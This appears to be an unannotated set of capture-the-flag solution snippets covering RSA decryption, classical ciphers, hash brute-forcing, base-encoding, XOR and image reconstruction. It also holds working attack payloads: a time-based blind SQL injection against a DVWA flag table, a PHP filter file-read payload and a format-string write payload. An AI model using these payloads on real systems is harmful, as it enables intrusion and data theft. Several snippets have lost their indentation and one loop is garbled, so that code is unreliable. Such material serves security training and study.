from Crypto.PublicKey import RSA
 pub = RSA.importKey(open('pub.key').read())
 n = long(pub.n)
 e = long(pub.e)
 print 'n:',n
 print 'e:',e
 print 'n(hex):',hex(n)
 print 'e(hex):',hex(e)

openssl rsa -in pub.key -pubin -modulus -text

import rsa
 prifile = open('private.pem')
 p = prifile.read()
 privkey = rsa.PrivateKey.load_pkcs1(p)
 crypto = open('enc1').read()
 message = rsa.decrypt(crypto, privkey)
 print message

openssl rsautl -decrypt -in enc1 -inkey 6.key -out flag.txt

def gcd(a, b):
 if(a < b):
 a, b = b, a
 while b != 0:
 temp = a % b
 a = b
 b = temp
 return a

#coding:utf-8
 m = 'dikxourxd'
 strs = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
 flag = ''
 for c in m:
 for i in strs:
 if ((11*(ord(i)-97)+7)%26) == (ord(c)-97):
 flag += i
 break
 print(flag)

97年出生的小明用自己的生日作为自己网站的密码，
 现在，得到一串被篡改过一个字符的字符串，你能解出小明的生日吗？
 0175501585710a89h5a60dc9ed2f88d7

import hashlib
 for m in range(1,13):
 for d in range(1,33):
 t = '1997'+str(m).zfill(2)+str(d).zfill(2)
 md5 = hashlib.md5(t).hexdigest()
 if md5[:16] == '0175501585710a89':
 print t

26/Oct/2017:05:39:41

?id=123' AND (SELECT * FROM (SELECT(SLEEP(5-(IF(ORD(MID((SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM dvwa.flag),1,1))!=49,0,5)))))sbAQ)

102 108 97 103 123 51 50 56 55 102 101 51 48 48 102 50 56 101 50 52 97 101 102 97 50 100 56 54 56 56 51 56 51 50 99 57 102 125

import re
 f = open("access.log")
 sqli = []
 for i in f:
 if 'FROM dvwa.flag ORDER BY flag' in i:
 sqli.append(i)
 f.close()
 flag = ''
 for i in range(len(sqli)):
 char = re.findall('\)\)!=(\d+),0,1\)\)', sqli[i])
 if char:
 flag += chr(int(char[0]))
 print flag

http contains "ZmxhZ3"

flag{192.168.233.222:9099}

import base64
 file = open('base.txt','r')
 st = file.read()
 while True:
 try:
 st = base64.b16decode(st)
 except:
 try:
 st = base64.b32decode(st)
 except:
 st = base64.b64decode(st)
 if(st.find('flag') == 0):
 print(st)

f = open('flag.png')
 enc = f.read()
 f.close()
 f = open('xor.png')
 xor = f.read()
 f.close()
 s = r'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$\'()*+,-./:;<=>?@[\\]^`{|}~\'"_%'
 flag = ''
 for i in range(100):
 for c in s:
 if ord(xor[i]) ^ ord(c) == ord(enc[i]):
 flag += c
 print flag

#!/usr/bin/env python
 from PIL import Image
 MAX = 280
 pic = Image.new("RGB",(MAX, MAX))
 file = open("flag.txt",'r')
 m = file.read().split('\n')
 i=0
 for y in range (0,MAX):
 for x in range (0,MAX):
 if(m[i] == '(0, 0, 0)'):
 pic.putpixel([x,y],(0, 0, 0))
 else:
 pic.putpixel([x,y],(255,255,255))
 i = i+1
 pic.show()
 pic.save("flag.png")

ONYXE6LSIVXF6ZTUOZTXWRRRIRPWCZLWORIGCLJQG56Q====

sqryrEn_ftvg{F1D_aevtPa-07}

message = 'synt{DeP0qr_vF_va7rEfg1at-}'LETTERS = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
 letters = 'abcdefghijklmnopqrstuvwxyz'for key in range(len(LETTERS)):
 tran = ''
 for i in message:
 if i in LETTERS:
 num = LETTERS.find(i)
 num = num - key
 if num < 0:
 num = num + len(LETTERS)
 tran = tran + LETTERS[num]
 elif i in letters:
 num = letters.find(i)
 num = num - key
 if num < 0:
 num = num + len(letters)
 tran = tran + letters[num]
 else:
 tran = tran + i
 print('key = %s: %s' % (key, tran))

key = 13: flag{QrC0de_iS_in7eRst1ng-}

k=0
flag=0
for i in xrange(200000,0,-1):
    flag=0
    if i>3:
        if i%2!=0 and i %3!=0:
            v0=5
            while 1:
            if v0*v0<=i:
            if i%v0!=0 and i%(v0+2)!=0:
            v0+=6
            else:
              k-=1
                break
               else:
                 k+=100
               flag=1
                 break
              else:
           k-=1
   elif i==1:
       k-=1
   else:
       k+=100
print k

?poj=php://filter/read=convert.base64-encode/resource=index

flag{9kWIS4kcx066vD7p}

\x30\xa0\x04\x08\x31\xa0\x04\x08\x32\xa0\x04\x08%22x%12\$n%17x%13\$n%495x%14\$hn